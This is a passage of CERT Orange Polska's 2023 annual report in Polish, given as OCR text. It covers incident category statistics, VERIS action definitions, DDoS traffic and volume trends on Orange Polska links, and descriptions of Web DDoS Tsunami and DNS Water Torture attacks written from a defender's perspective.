Proby uzyskania nieautoryzowanego dostepu do systemu lub sieci (np. wielokrotne
nieuprawnione logowania, préby naruszenia systemu lub zaktécania funkcjonowania ustug
przez wykorzystywanie podatnosci).

Uzyskanie nieautoryzowanego dostepu do systemu lub sieci, tj. wtargniecie, naruszenie
systemu/przetamanie zabezpieczen (np. poprzez wykorzystanie znanych podatnosci
systemu), kompromitacja konta.

Blokowanie dostepnosci zasobdw sieciowych (systemu, danych), m. in. poprzez wysytanie
duzej ilosci danych, ktére skutkuje odmowa $wiadczenia ustug (ataki typu DDoS).

Naruszenie poufnosci lub integralnosci informacji, najczesciej w efekcie wczesniejszego
przejecia systemu lub przechwycenia danych podczas transmisji (np. przechwycenie
i/lub udostepnienie okreslonego zbioru informaciji, zniszczenie lub modyfikacja danych
w okreslonym zbiorze informacji).

Czerpanie korzysci z nieuprawnionego wykorzystania technologii informacyjno-komunikacyjnej/
zasobow sieciowych (informacji, systemu) badz ich uzycie niezgodne z przeznaczeniem (np.uzycie
nazwy organizacji bez pozwolenia czy uzycie zasobdw organizacji w celach pozastatutowych).

Zdarzenia, ktore nie mieszcza sie w wymienionych kategoriach.

Rozktad procentowy kategorii incydentow

obstuzonych przez CERT Orange Polska w 2023 .

2“0/0111

CERT Orange Polska

43,9% Gromadzenie informaciji

17,9% Dostepnos¢ zasobow

15,4% Ztosliwe oprogramowanie

11,5% ObrazZliwe i nielegalne tresci
7,7% Préby wtaman

2,1% Bezpieczenstwo informacii (poufnosé i integralnosé informacii)

1,1% Oszustwa i naduzycia sieciowe
0,3% Wiamania sieciowe
0,1% Inne

Stosowana przez nas klasyfikacja obejmuje wszelkie
typy zdarzen zgtaszanych i obstugiwanych przez
zespoty typu CSIRT/CERT. Kategorie oparte

sa na typie i skutku dziatan naruszajgcych
bezpieczenstwo, zwigzanych z procesem ataku

na system teleinformatyczny i jego wykorzystaniem.

Podziat taki przydatny jest gtéwnie z punktu widzenia
dziatan operacyjnych, pod kgtem osiggnietego celu.
W praktyce w analizowanych incydentach uzywano
zazwyczaj wielu metod i technik prowadzacych

do osiggniecia okreslonego skutku, gtéwnie
zwigzanych z uzyciem ztosliwego oprogramowania.

najwieksza grupe stanowity te z klasy gromadzenie informaciji

(43,9 proc.).

Na drugim miejscu znalazly sie incydenty z kategorii dostepnos$é¢ zasobéw (17,9 proc.)

z kategorii ztosliwe oprogramowanie (15,4 proc.)

Kolejne miejsce to ataki

Rozkiad procentowy kategorii incydentow
w 2023 r., porownanie z 2022 r.

obstuzonych przez CERT Orange Polska w 2023 r., poréwnanie z 2022 r. m2023 2022

Gromadzenie informaciji
Dostepno$¢ zasobow
Ztosliwe oprogramowanie
Obrazliwe i nielegalne tresci
Préby wiaman

Oszustwa sieciowe

Poufnos¢ i integralnosé
informacji

Wtamania sieciowe

Inne

0% 5% 10%

20% 25% 30% 35% 40%
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Rozktad miesieczny incydentow w 2023 r.

H ; Gromadzenie m Dostepno$¢ m Ztosliwe Obrazliwe Oszustwa  m Poufnos$c Wiamania Inne
z podZ|a’fem na kategorle informacii zasoboéw oprogramowanie i nielegalne treSci  wtaman i integralno$¢ informacji  sieciowe
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Rozktad w czasie wystepowania incydentéw w 2023 .
nie jest regularny. Zauwazylismy wzrost liczby
obstugiwanych incydentéw w lutym oraz w ostatnich

miesiacach roku. Wzrost ten spowodowany byt zwiekszong

liczbg przypadkéw kampanii phishingowych i ztosliwego
oprogramowania zwigzanych m. in. z podszywaniem
sie pod Orange oraz przypadkow dotyczgcych atakéw DoS.

Incydenty z kategorii ,gromadzenie informacji”
stanowity najliczniejsza grupa obstuzonych w 2023 r.
(43,9 proc. wszystkich). Na grupe tych incydentéw
sktadajg sie przede wszystkim przypadki phishingu

oraz skanowania portéw. Tego typu zagrozenia

to w wiekszosci przypadkdw istotny element bardziej
zaawansowanych atakdéw, majacych na celu kradziez
informacji czy oszustw finansowych. Na przestrzeni roku
najwiecej przypadkéw w tej kategorii wystgpito w lutym
oraz listopadzie i grudniu.

Na klase incydentéw ,dostepnos¢ zasobdéw” sktadajg

sie przede wszystkim przypadki atakéw typu Distributed
Denial of Service (DDoS). Incydentéw o takiej
charakterystyce byto 17,9 proc. w roku 2023,

za$ na przestrzeni roku najwiecej incydentow w tej kategorii
obstuzono w lutym oraz listopadzie i grudniu. Incydenty

te, podobnie jak ztosliwe oprogramowanie, moga by¢
szczegolnym zagrozeniem i powodowac istotne straty,
dlatego poswieciliémy im odrebng czes¢ raportu.

CERT Orange Polska
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Na klase incydentow ,,ztosliwe oprogramowanie” sktadajg

sie przede wszystkim przypadki infekcji (m. in. infekcji ztosliwym
oprogramowaniem typu ransomware, trojan), dystrybucji
ztosliwego oprogramowania (w tym m. in. ztosliwe
oprogramowanie w zatgczniku wiadomosci, hostowanie
ztosliwych stron czy hostowania serwerow Command&Control

(C&C) kontrolujgcych zdalnie sie¢ zainfekowanych komputerdw.

Incydentow o takiej charakterystyce byto 15,4 proc. wszystkich
obstuzonych w roku 2023, zas najwiecej przypadkow w tej
kategorii wystgpito w lutym oraz grudniu. Spowodowane byto
to zwiekszong liczbg kampanii ztosliwego oprogramowania
(ztosliwe oprogramowanie jako zatgcznik badz link prowadzacy
do ztosliwego URL), zwigzanych m. in. z Agentem Tesla.

W praktyce w wiekszos$ci analizowanych incydentéw,
cyberprzestepcy zamierzony cel osiagneli przy uzyciu
ztosliwego oprogramowania, dlatego temu zagrozeniu
poswiecona jest odrebna czes¢ raportu.

Na grupe incydentow okreslanych jako ,obrazliwe i nielegalne
tresci” sktadajg sie przede wszystkim przypadki dotyczace
rozsytania spamu. Inne typy incydentéw w tej grupie

to m. in. przypadki dotyczace naruszen praw autorskich

(np. piractwo) oraz rozpowszechniania treci zabronionych
prawem (np. tresci rasistowskie, pornografia dziecieca czy
wychwalajgce przemoc). W 2023 r. odnotowano 11,5 proc.
tego typu przypadkow. Na przestrzeni roku 2023 szczegdine
nasilenie incydentow w tej kategorii mozna byto
zaobserwowaé w lutym.

W kategorii ,,proby wtaman” ujeto gtéwnie przypadki
usitowania przetamania zabezpieczen przez wykorzystanie
podatnosci systemodw, jego komponentdéw lub catych sieci
oraz préb logowania do ustug lub systeméw dostepowych
(zgadywania haset), majace na celu uzyskanie dostepu

do systemu czy przejecia nad nim kontroli. Incydentéw

o takiej charakterystyce byto 7,7 proc. w roku 2023,

zas na przestrzeni roku najwiecej incydentow

w tej kategorii obstuzono w listopadzie.

W kategorii ,0szustwa sieciowe” zostaty zawarte

gtéwnie przypadki nieautoryzowanego uzycia zasobdéw

i nielegalnego uzywania nazwy innego podmiotu

bez jego zezwolenia. Przypadki te stanowity 2,1 proc.
wszystkich incydentow, najwiecej przypadkow

w tej kategorii na przestrzeni roku wystgpito w listopadzie.
Przypadki te dotyczyly gtéwnie atakdw podszywania

sie pod znane marki i instytucje w kampaniach

ztosliwego oprogramowania oraz phishingowych.

Na te klase sktadaja sie przypadki nieautoryzowanego
dostepu do informacji oraz zmiany lub usuniecia
zbioréw informaciji. W 2023 r. odnotowano 1,1 proc.
tego typu przypadkow. Niemniej jednak takie incydenty
maja duzy ciezar gatunkowy. W praktyce oznaczajg
powazne problemy zwigzane z wyciekiem informacji

lub innymi konsekwencjami nieautoryzowanego dostepu
do nich. Na przestrzeni roku najwiecej incydentéw

w tej kategorii obstuzono w sierpniu.

Na te klase incydentéw sktadaja sie typy incydentéw
tozsame z klasa ,,proby wtaman” jednak zakoriczone
pozytywnym efektem z punktu widzenia atakujacego.
Incydentow o takiej charakterystyce byto 0,3 proc.

w roku 2023.

Incydenty niesklasyfikowane w poprzednich kategoriach
stanowity nieznaczny odsetek wszystkich przypadkdow.
Nie mozna okresli¢ zadnego dominujgcego rodzaju
wsrod tych incydentdw.

W wiekoszosci
analizowanych
incydentow,

cyberprzestepcy
zamierzony cel
osiaggneli przy uzyciu
zlosliwego
oprogramowania.
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Dziatania powodujace wystapienie incydentow

Aby zobrazowac typy dziatan naruszajgcych bezpieczenstwo, czes¢ incydentéw poddali$my analizie opartej na modelu VERIS
(Vocabulary for Event Recording and Incident Sharing — http://veriscommunity.net/). Scenariusze wystepujacego zagrozenia
oraz opis incydentu opieraja sie tu przede wszystkim na czterech elementach (A4):

Actors (Aktorzy): Czyje dziatania dotknety zasoby?
Actions (Akcje): Jakie dziatania dotknety zasoby?
Assets (Aktywa): Jakie zasoby zostaty dotkniete?
Attributes (Atrybuty): Jak zostaty dotkniete zasoby?

Dziatania zwigzane z wystgpieniem zagrozenia opisuja, co zrobit zagrazajgcy aktor, aby spowodowac incydent

lub przyczynic sie do jego wystapienia. Model VERIS obejmuje 7 podstawowych kategorii dziatan zwiazanych

z wystepowaniem zagrozen (haruszeniem bezpieczenstwa): ztosliwe oprogramowanie, hakowanie, socjotechnika,
naduzycie, fizyczne, btad oraz sSrodowisko. W kazdym incydencie wystepuje co najmniej jeden typ dziatania, jednak

w wiekszosci z nich wystepuje wiele dziatan, czesto z wielu kategorii (stad suma ponad 100% na wykresie). Dziatania zagrozen

opisuja akcje (uzyte metody i techniki), ktére wptywajg negatywnie na zasoby i powodujg naruszenie bezpieczenstwa.
Dla kazdej kategorii istnieje szereg wskaznikow opisujacych szczegdty dziatan, np. typ, Sciezka lub wektor dziatania.

Na podstawie analizy tych parametrow (trendéw, czestotliwosci wystepowania) mozna dowiedzie¢ sie m.in. jak dochodzi
do naruszenia, jakie zagrozenia wystepujg najczesciej oraz jakie ataki najczesciej sg stosowane.

Na bazie incydentéw poddanych analizie, najwieksza grupe stanowily te z klasy

- nieznaczny spadek w stosunku do poprzedniego roku. Na drugim miejscu znalazly sie dziatania z kategorii
- nieznaczny wzrost w stosunku do roku 2022. Kolejne miejsce

to zdarzenia z kategorii - wzrost w stosunku do poprzedniego roku o 4,7 pp.,

dziatania z grupy naduzycie (13 proc.) - podobnie do poziomu poprzedniego roku, btad (7,9 proc.)

- na zblizonym poziomie do poprzedniego roku. Ponizej 1 proc. zaklasyfikowano dziatania z grupy fizyczne

oraz srodowiskowe - podobnie jak w poprzednim roku.

Kategorie dziatan powodujacych wystapienie incydentow

w rozktadzie procentowym

Hakowanie

Ztosliwe
oprogramowanie

Socjotechnika

Naduzycie

Blad

Fizyczne

kategoria dziatan powodujgcych incydent

Srodowisko

30% 40% 60%

udziat procentowy
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Ztosliwe oprogramowanie

Wszelkie programy (w tym m.in. kody, skrypty)

o szkodliwym dziataniu na system informatyczny

lub jego uzytkownika. Uruchamiane na urzadzeniu,

ktére zmienia jego stan lub dziatanie bez Swiadomej
zgody wiasciciela. Ztosliwe oprogramowanie mozna dzieli¢
na rozne sposoby i rodzaje. Jednak przede wszystkim
nalezy wyr6znié ich funkcje dziatania, czyli jakie dziatania
dany ztosliwy program podijat, np. wysytanie danych

do okreslonego celu (m. in. hostowanie C&C), backdoor,
oprogramowanie szpiegujace, wysytanie spamu

(w tym m. in. zto$liwe oprogramowanie w zatgczniku
wiadomosci lub link do skompromitowanego adresu
URL), ataki sitowe czy stownikowe, ataki DoS.

Hakowanie

Dziatalno$¢ zwigzana z wiamywaniem i wykorzystywaniem
zasobéw informacyjnych. Wszelkie proby umysinego
uzyskiwania dostepu lub majgce na celu uszkodzenie
zasobéw informacyjnych bez (lub z przekroczeniem)
autoryzacji, poprzez obejscie lub udaremnienie logicznych
mechanizmoéw zabezpieczen. Obejmuje m. in. ataki
przetamywania haset, ataki DoS, uzycie skradzionych
poswiadczen logowania. Zaréwno w kategorii Hakowanie
jak w i kategorii Naduzycie wykorzystywane sg podobne
wektory i osiggane podobne cele. Réznica jest taka,

ze w Naduzyciu aktor otrzymat legalnie dostep i uprawnienia
do zasobdéw informacyjnych (i wykorzystat je w sposéb
nieuprawniony), natomiast w Hakowaniu dostep

i uprawnienia aktor uzyskat bezprawnie.

Socjotechnika

Wszelkie dziatania wykorzystujgce czynnik ludzki
(uzytkownika). Jeden z najskuteczniejszych sposobdéw

i taktyk zdobywania poufnych informacji, wykorzystujacy
najstabsze ogniwo zabezpieczen czyli cztowieka

— oddziatywanie na inne osoby lub grupy spoteczne.
Taktyki socjotechniczne to m.in. pretekst, oszustwo,
manipulacja, podszywanie sie czy wymuszenie.
Socjotechnika wykorzystywana jest m.in. w atakach
phishingowych, spam czy scam.

Naduzycie

Definiowane jako wykorzystanie powierzonych zasobéw
informacyjnych lub przywilejow w sposob sprzeczny

z zamierzonym. Obejmuje m.in. naruszenia zasad
uzytkowania (np. poczty elektronicznej), naduzycia
administracyjne czy korzystanie z niezatwierdzonych
zasobow (np. oprogramowania). Te dziatania moga by¢
ztosliwe lub nieztosliwe. Naduzycia dotyczg wytgcznie
stron, ktore cieszg sie pewnym zaufaniem ze strony
organizaciji, takich jak osoby z wewnatrz i partnerzy.

Fizyczne

Zamierzone zagrozenia zwigzane z bliskoscig,
posiadaniem lub uzyciem sity. Obejmuje m.in. kradziez,
manipulacje, szpiegowanie, sabotaz, dostep do urzadzen
lokalnych, napasé. Zagrozenia naturalne i awarie zasilania
czesto sg klasyfikowane jako zagrozenia fizyczne.

Jednak w tej klasyfikacji tego typu dziatania obejmuje
kategoria Srodowiskowe z wyjatkiem umys$inych dziatan
popetnionych przez cztowieka.

Btad

Wszystko, co zostato zrobione (lub pozostawione
niewykonane) nieprawidtowo lub przypadkowo.
Obejmuje m.in. pominiecia, btedne konfiguracje,
btedy programowania, przeoczenia, awarie.

Nie obejmuje czegos zrobionego (lub pozostawionego
niewykonanego) celowo lub domysinie, co pdzniej
okaze sie niemadre lub niewystarczajace.

Srodowisko

Zardwno zdarzenia naturalne, takie jak trzesienia
ziemi czy powodzie, jak i zagrozenia $cisle zwigzane
z bezposrednim otoczeniem/infrastruktura,

w ktdrej znajduja sie chronione aktywa. Te zwigzane
Z bezposrednim otoczeniem obejmujg m.in. awarie
zasilania, zaktocenia elektryczne czy przecieki rur.
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Wolumetryczne ataki na ustugi i infrastrukture — DDoS

Wolumetryczne ataki DDoS

Ataki identyfikowane
na taczach
Orange Polska

Przedstawiamy skale oraz typy wolumetrycznych atakéw DDoS
identyfikowanych na analizowanych tagczach Orange Polska.
Analizy dotyczg przede wszystkim rodzajow wykrywanych atakdéw
DDoS, ich sity, czasu trwania oraz poréwnan z ubiegtym rokiem.

Ataki odmowy dostepu do ustugi (Distributed Denial of Service

— DDoS) to jedne z najprostszych i najbardziej popularnych atakow
na sie¢ lub system komputerowy, a zarazem jedne z bardziej
niebezpiecznych i groznych w skutkach. Ich gtéwnym celem

jest utrudnienie badz uniemozliwienie korzystania z oferowanych
przez zaatakowany system ustug sieciowych i w efekcie paraliz
infrastruktury ofiary poprzez masowe wysytanie zapytan

do zaatakowanej ustugi.

cert.orange.pl



https://cert.orange.pl/

Raport CERT Orange Polska 2023

Port 389 jest wykorzystywany przez ustuge CLDAP (Connectless Lightweight Directory Access Protocol) stuzacej
do korzystania z ustug katalogowych. Na analizowanym tgczu Orange Polska najwiekszy ruch na tym porcie
(ponad 14 Gbps) zaobserwowano w kwietniu. Od kwietnia widoczny jest rowniez spadek ruchu na tym porcie.

Charakterystyka ruchu na porcie 389
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Port 123 jest uzywany przez ustuge NTP (Network Time Protocol) stuzgcej synchronizacji czasu w systemach
teleinformatycznych i telekomunikacyjnych. Najwiekszy ruch na tym porcie zaobserwowano w lutym
oraz marcu (niemal 70 Gbps).

Charakterystyka ruchu na porcie 123

na fagczach Orange Polska mntp(123)in  mntp(123) out mszczytowy ruch

Wolumetryczne ataki na ustugi i infrastrukture — DDoS

Port 53 uzywany przez ustuge DNS (Domain Name System), odpowiedzialng za wzajemna translacje nazw
domenowych i adreséw IP. Najwiekszy ruch na tym porcie zostat zidentyfikowany w marcu (ponad 120 Gbps).

Charakterystyka ruchu na porcie 53

na tgczach Orange Polska ®domain (53) in  ®domain (53) out m szczytowy ruch
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Klasyfikacja atakow DDoS uzywana przez CERT Orange
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CERT Orange Polska

Polska opiera sie na trzech kategoriach o réznym poziomie
krytycznosci. Ten aspekt jest zalezny od wolumenu ruchu

oraz czasu trwania anomalii. Alert wysoki najczesciej ma istotny
wplyw na dostepnosé ustug, zas te o poziomach $rednim

i niskim ograniczajg jg jedynie w specyficznych warunkach.
Czestos¢ wystepowania atakow DDoS na przestrzeni ostatnich
lat utrzymuje sie na zblizonym poziomie, cho¢ z tendencjg
wzrostowa.

Najwiecej alertow na przestrzeni roku

2023 zarejestrowano 11 lipca (ponad 3500). Wzrost
ten spowodowany byt zwiekszona liczba atakéw typu
carpet bombing. Znaczny wzrost liczby alertow
zaobserwowano w ostatnich dniach roku 2023.

Rozktad alertow DDoS w podziale na poziom krytycznosci

na faczach Orange Polska m Wysoki mSredni mNiski mszczytowy ruch
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W rozktadzie procentowym poziomu krytycznosci W rozktadzie najczestszych typdw atakéw, podobnie jak
atakéw DDoS w roku 2023 najwiekszy udziat alertéw w poprzednich latach, najczesciej wystepujacymi rodzajami
stanowity te o najnizszym stopniu krytycznosci — niemal atakow wolumetrycznych obok IP/UDP Fragmentation
potowe odnotowanych zdarzen. W poréwnaniu do 2022 (59,2 proc. wszystkich atakdw — znaczny wzrost w stosunku
r. jest ich nieco mniej (spadek o 5,8 pp.). W roku 2023 do roku 2022 — o 11 pp.) byty ataki Reflected DDoS przy

udziat atakdw o srednim stopniu krytycznosci wyraznie uzyciu protokotéw UDP. Wsrdd nich w roku 2023 najczesciej
zwiekszyt sie (o 7,8 pp.) w poréwnaniu do roku 2022 — podobnie jak w poprzednich latach — wykorzystywane byty
i wyniost 44,5 procenta. Udziat atakéw o najwyzszym otwarte serwery DNS (42,6 proc. — znaczny wzrost

stopniu krytycznosci wynidst 8,4 proc. i byt nieco nizszy ~ w stosunku do roku 2022 — 0 10,1 pp.), niepoprawnie

w stosunku do roku 2022 (10,4 proc.). skonfigurowane serwery czasu (NTP) — identyfikowane
w 13,1 proc. wszystkich atakéw (znaczny spadek w stosunku
do roku 2022 - 0 10,2 pp. oraz otwarte serwery LDAP
- identyfikowane w 3 proc. — znaczny spadek w stosunku
do roku 2022 - 0 4,1 pp.).

Poziom krytycznosci alertow DDoS
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Diagram poziomu krytycznosci alertow DDoS
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Wolumetryczne ataki na ustugi i infrastrukture — DDoS  [iel

Oprécz ustugi DNS, NTP oraz CLDAP dos¢ czesto w atakach W roku 2023 nastapit wzrost atakow DNS Aplification
Reflected DDoS wykorzystywanych byto wiele innych ustug oraz zwigzanych z nimi atakéw UDP Fragmentation.

takich jak: SSDP - port UDP/1900, CHARGEN - port UDP/19, W ostatnich latach utrzymuje sie tendencja spadkowa atakow
czy Apple Remote Desktop (ARD) — port UDP/3283, Reflected DDoS opartych na protokole UDP, a takze atakéw IP
WS-Discovery (WSD) - port UDP/3702, Ubiquiti - port Fragmentation przy jednoczesnym wzroscie atakdw ztozonych,

. ielowektorowych wykorzystujgcych techniki zwigzane z TCP
UDP/10001, openvpn — port UDP/1194, czy Layer 2 Tunneling wie . .
Protocol (L2TP) - port UDP/1701. SYN, TCP RST oraz TCP ACK, w tym takze atakdw Reflected

DDoS przy uzyciu protokotéw TCP (SYN-ACK). Ma to bezpo-
$redni zwigzek z ich trudniejszym wykryciem oraz tagodzeniem.
Aby zapoznac sie z opisami rodzajow atakow zapraszamy
do Glosariusza.

Najczestsze typy atakow DDoS

na fgczach Orange Polska 2023 H 2022
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Ataki DDoS - wolumen
ataku i czas trwania

Srednia wielko$é szczytowego natezenia ataku DDoS
zaobserwowana w sieci Orange Polska siegneta poziom
ponad 3,2 Gbps (nieco ponad 2,5 Gbps w roku 2023).

Z kolei najwieksza odnotowana warto$¢ natezenia ruchu
w szczycie ataku to ok. 543 Gbps (przy niemal 462 Gbps
w 2022 r.). Na przestrzeni ostatnich lat utrzymuje sie
tendencja wzrostowa jesli chodzi o wielko$¢ atakow,
choc¢ coraz czesciej obserwowane byty ataki bardziej
wyrafinowane, dopasowane do rozpoznanego celu ataku
(w tym carpet bombing), w ktérych o ich dotkliwosci

Wolumen atakow DDoS

na fgczach Orange Polska m2023 ~ m2022

powyzej 10
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2-5 B

0,5-2

wolumen ataku (Gbps)
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40%

nie stanowi tylko jak najwieksza sita. Na wzrost sity atakéw
wptyw maja nie tylko szybsze tgcza internetowe, ale tez
przystepna cena atakéw DDoS na czarnym rynku oraz

w duzym stopniu wykorzystywanie technik wzmocnionego
odbicia oraz botnetéw bazujgcych na urzgdzeniach internetu
rzeczy. Rozktad procentowy wolumendéw atakéw jest podobny
jak w poprzednich latach. W poréwnaniu do roku 2022
zaobserwowano wzrost atakow o sile powyzej 10 Gbps

(0 2,9 pp.), w przedziale 5-10 Gbps (0 1,7 pp.) oraz w przedziale
2-5 Gbps (0 1,6 pp.). W pozostatych grupach nastgpit spadek
udziatu atakéw, najwiekszy w grupie atakéw w przedziale
0,5-2 Gbps (0 3,5 pp.), atakéw o sile ponizej 0,2 Gbps

(0 2,9 pp.) natomiast atakéw w przedziale 0,2-05 Gbps
nastapit nieznaczny spadek.
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udziat procentowy

Wolumen atakow DDoS na przestrzeni ostatnich lat

zaobserwowanych w sieci Orange Polska
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Podobnie jak w latach poprzednich utrzymuje sie trend
wskazujacy na coraz krétszy czas trwania atakow.
Rozktad grup czasu trwania atakéw DDoS jest bardzo
zblizony do roku 2022. Zdecydowana wiekszos¢
zarejestrowanych alertéw, podobnie

jak w 2022 roku, trwata ponizej 10 minut (ponad

80 proc. wszystkich — nieznaczny wzrost w stosunku
do roku 2022). Sredni czas trwania wszystkich
zarejestrowanych alertéw wyniost ponad 13 minut
(w roku 2022 byto to niemal 13 minut).

Czas trwania atakow DDoS

zaobserwowanych w sieci Orange Polska  =2023 2022
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Swiatowy krajobraz DDoS-6w

Juz od kilku lat nieodzownym elementem krajobrazu zagrozer sg ataki DDoS. Staty sie cyberbronig dla hakeréw
i haktywistow oraz narzedziem dla przestepcéw poszukujacych okupu, ktérzy kierujg swoje ataki na podatne firmy
w sektorach finansowym, handlowym, energetycznym lub transportowym.

Obserwujemy, analizujemy i widzimy, duze zmiany

w tym jak atakowano dawniej, a jak obecnie. Nasi adwersarze
wiedzg, ze dobrze umiemy sie broni¢ przed ich atakami,

totez stale doskonalg swoj warsztat, rozwijajg narzedzia

i starajg sig atakowac¢ w coraz bardziej wyrafinowany sposéb.

Jeszcze niedawno temat atakéw mozna byto ograniczyé

do poziomu warstwy sieciowej — czy byt to atak
wolumetryczny, aplikacyjny oraz jaki wykorzystywat protokét.
Potem nastgpit czas, w ktérym zaczeto uwzgledniaé taktyki
atakéw i pojawity sie te typu ,carpet bomb”

oraz ,burst attack”.

Rok 2023 to zdecydowanie kolejna zmiana w podejsciu

do DDoS-6w. Jest to rok atakéw ztozonych,
wielowektorowych oraz dtugich. Cyberprzestepcy widzac
skuteczno$¢ mechanizméw obrony zaczeli szukaé stabych
punktow. Stosowanie przez nich ozlegtych atakow
wolumetrycznych ostabia ochrone i w tym czasie moga oni
prowadzi¢ intensywne, dobrze zaplanowane ataki aplikacyjne.
Dodatkowo zaobserwowali$my, ze atakujgcy starajg sie bardzo
mocno rozproszy¢ ataki poprzez zréznicowane podejscie

do budowy swojej infrastruktury. Istnieja grupy wykorzystujace
przejete systemy klienckie, inne korzystaja z proxy-VPN

i innych systemdw anonimizacji IP, a jeszcze inni wykorzystuja
duze botnety skitadajgce sie ze Zle skonfigurowanych
urzadzen sieciowych.

Web DDoS Tsunami

Atak Tsunami Web DDoS jest ewolucja cyberataku

typu HTTP DDoS Flood, ktéry jest wyrafinowany,
agresywny, bardzo trudny do wykrycia i tagodzenia

bez blokowania legalnego ruchu. Ataki tego typu

nie ograniczaja sie do intensywnego zalewania portow
urzadzen sieciowych w warstwie L3 lub L4. Zamiast
tego skalujg sie pod wzgledem objetosci i intensywnosci.
Sa to miliony zaszyfrowanych zadan na sekunde

(RPS) na warstwie L7. Charakterystyka ataku Tsunami
Web DDoS obejmuije:

Objetos¢ ataku - W ciagu ostatnich kilku miesiecy
doszto do kilku atakdw z poziomem RPS siegajacym
10 milionow, co stanowi znaczaca eskalacje
wolumenu ataku.

CERT Orange Polska

Tak wysoki poziom zapytan w ataku Web DDoS Tsunami
moze szybko przecigzy¢ tradycyjne zapory aplikaciji
internetowych (WAF) i rozwigzania ochrony przed DDoS.
Co wiecej, wyrafinowana i droga infrastruktura dziatajgca
w warstwie aplikacyjnej, stawia wieksze wyzwania

w zakresie podejscia do obrony przed takimi atakami.
Ochrona przed tym atakiem nie moze zosta¢ ograniczona
do dziatah na samym WAF. Tak samo jak atak jest
wielowektorowy, podobnie trzeba podchodzi¢ do mitygacii.

Czas trwania ataku - Do tej pory (te bardzo dobrze
znane) ataki z wysokimi poziomami zgdan RPS (liczonymi
w milionach) trwaty mniej niz minute.

Obecnie obserwowane ataki Web DDoS Tsunami potrafia
trwac wiele godzin lub nawet dni podczas wielokrotnych
fal atakow. W wielu przypadkach atak rozpoczyna sie
»petna moca” w mniej niz 10 sekund.

Jezeli taka, nawet dobrze zabezpieczona, strona internetowa
nagle otrzymuje 500 000 lub 1 milion RPS w mniej niz

10 sekund, to systemy ja chronigce moga sie nie wigczyé,
podczas gdy serwery aplikacyjne zostang wysycone.

Botnety, ktére uruchamiajg ataki Web DDoS Tsunami,
mozna charakteryzowac pod wieloma wzgledami.

Ich wielko$¢ - czyli liczba unikalnych adresow IP, z ktorych
pochodzg atakujgce transakcje — wynosi od tysiecy do setek
tysiecy urzadzen koncowych z lokalizacji na catym $wiecie.
Moga one by¢ przypisane do licznych numeréw
autonomicznych systeméw (ASNs), ktore zwykle sa
wiasnoscig dostawcdw ustug. Tutaj obserwujemy kilka
wybijajacych sie krajow (zrédet atakdw), jednak zasadniczo
widac, ze atak jest mocno rozproszony.

Podczas ataku Web DDoS Tsunami, kazdy atakujacy adres IP
generuje poziomy RPS, ktére sg podobne, wyzsze Iub nizsze
od pozioméw RPS pochodzgcych od prawidtowych klientéw.
| to stanowi znaczacy problem w sytuacji, gdy chcemy
identyfikowa¢ najmocniejsze zrédto ataku. Ograniczenie liczby
zapytan lub predkosci dla adreséw Zrodtowych z wysokimi
poziomami RPS moze prowadzi¢ do nieakceptowalnego
poziomu fatszywych pozytywow - co tylko stuzy celom
atakujgcego. W niektérych przypadkach atakujacy generujg
ataki Web DDoS Tsunami z duzej liczby botnetow, ktére
generujg bardzo niskie wolumeny RPS, aby unikngé prostych
obron, takich jak limity RPS, transakcji czy predkosci.

Botnety wykorzystuja takze zrodtowe adresy

IP przypisane lub posiadane przez r6zne zrodta

oraz publiczne serwery proxy (np. otwarty proxy,
anonimowy proxy lub otwarty VPN), aby ukry¢ swoja
prawdziwa tozsamos¢. Ponadto adresy IP atakujacych
moga nalezec¢ rowniez do legalnych uzytkownikow
prywatnych, dostawcow ustug chmurowych,
dostawcow hostingu internetowego lub czasami
urzadzen loT. Strategia tagodzenia oparta wytacznie
na analizie adresow IP prawdopodobnie doprowadzi
do niepozadanych blokad legalnych klientow ustugi.
Czasami hakerzy przeprowadzaja skoordynowane
ataki na konkretna ofiare. W jednym ataku moze
pojawic sie wiele rodzajow adresow IP atakujacych
i wysokie wolumeny RPS, co jest niezwykle trudne
do rozwiazania.

Hakerzy moga strukturyzowaé zadanie HTTP ataku

web DDoS na wiele réznych sposobéw. W prostych przypadkach,
atak aplikacyjny wymierzony w strone WWW zaczyna sie

od trywialnego zadania HTTP, ktore jest przesytane lub
replikowane w duzym wolumenie, na przyktad prosty GET
HTTP do “/”, wraz z bardzo podstawowym zestawem
nagtowkéw HTTP, takich jak Host i Accept. Te transakcje
wygladaja na legalne, wiec mato prawdopodobne jest, ze atak
mozna ztagodzié za pomoca WAF. Jednak w atakach Web
DDoS Tsunami hakerzy unikajg tego, budujac bardziej ztozone
i autentyczne transakcje. Ponadto polegajg oni w duzej mierze
na losowosci. Atakujgcy tworzg bardziej realistyczne zadania,
ktére zawierajg zestaw wygladajgcych na legalne argumenty
zapytania, nagtéwki HTTP, nagtéwki uzytkownika i odnosniki,
ciasteczka internetowe i wiele innych. Zadania ataku
wykorzystuja rozne metody HTTP (takie jak POST, PUT

i HEAD) i kierujg do wielu $ciezek w obrebie chronionej
aplikacji. Wiele atrybutéw transakcji jest ciggle losowo
modyfikowanych, co czyni konwencjonalne strategie
tagodzenia niepraktycznymi. W tych atakach trudno jest
zidentyfikowac jedng prostg sygnature lub inny mechanizm
mitygujacy, bo caty ruch odwzorowuje ten prawdziwy i nie
wykazuje ztosliwosci (poza skalg i duzym rozproszeniem).

Co wazne, ataki te wykorzystuja ruch szyfrowany. Z punktu
widzenia atakujgcego nie robi to znaczacej réznicy, jednak
dla obronicy jest to ktopot. Rozszyfrowanie takiego wolumenu
ruchu, by go méc przeanalizowac i zablokowac jest
obcigzajgce. Co wiecej, nawet gdy ruch jest odszyfrowany,
nadal wyglada na legalny.

Atakujgcy by oming¢ tradycyjne zabezpieczenia aplikaciji
zmieniajg swoj wzorzec ataku podczas samego ataku

lub uzywajg jednoczesnie kilku struktur zadania ataku.

A gdy takie ataki sg uruchamiane przez kilka zorganizowanych
botnetéw z réznymi réwnoczesnymi taktykami, to mamy

do czynienia z milionami réznych transakcji, z ktérych
wszystkie wydaja sie by¢ legalne.

Swiatowy krajobraz DDoS-6w

DNS Water Torture

Do grona atakéw DDoS o nietrywialnych nazwach (takich
jak ,carpet bomb”, czy ,burst attack”) nalezy dotozy¢ DNS
Water Torture. To atak z jakim wiele oséb na pewno sie
spotkato, nie zdajac sobie do konca sprawy z czym ma

do czynienia i na ile atak moze by¢ skuteczny. Polega on

na dodawaniu pseudolosowych znakéw alfanumerycznych
(jako potencjalne subdmeny) do prawidtowych zapytan DNS.

Poniewaz zapytania o nowe nazwy nie sg buforowane i nie

sg one faktycznymi prawidtowymi nazwami hostéw, to sa
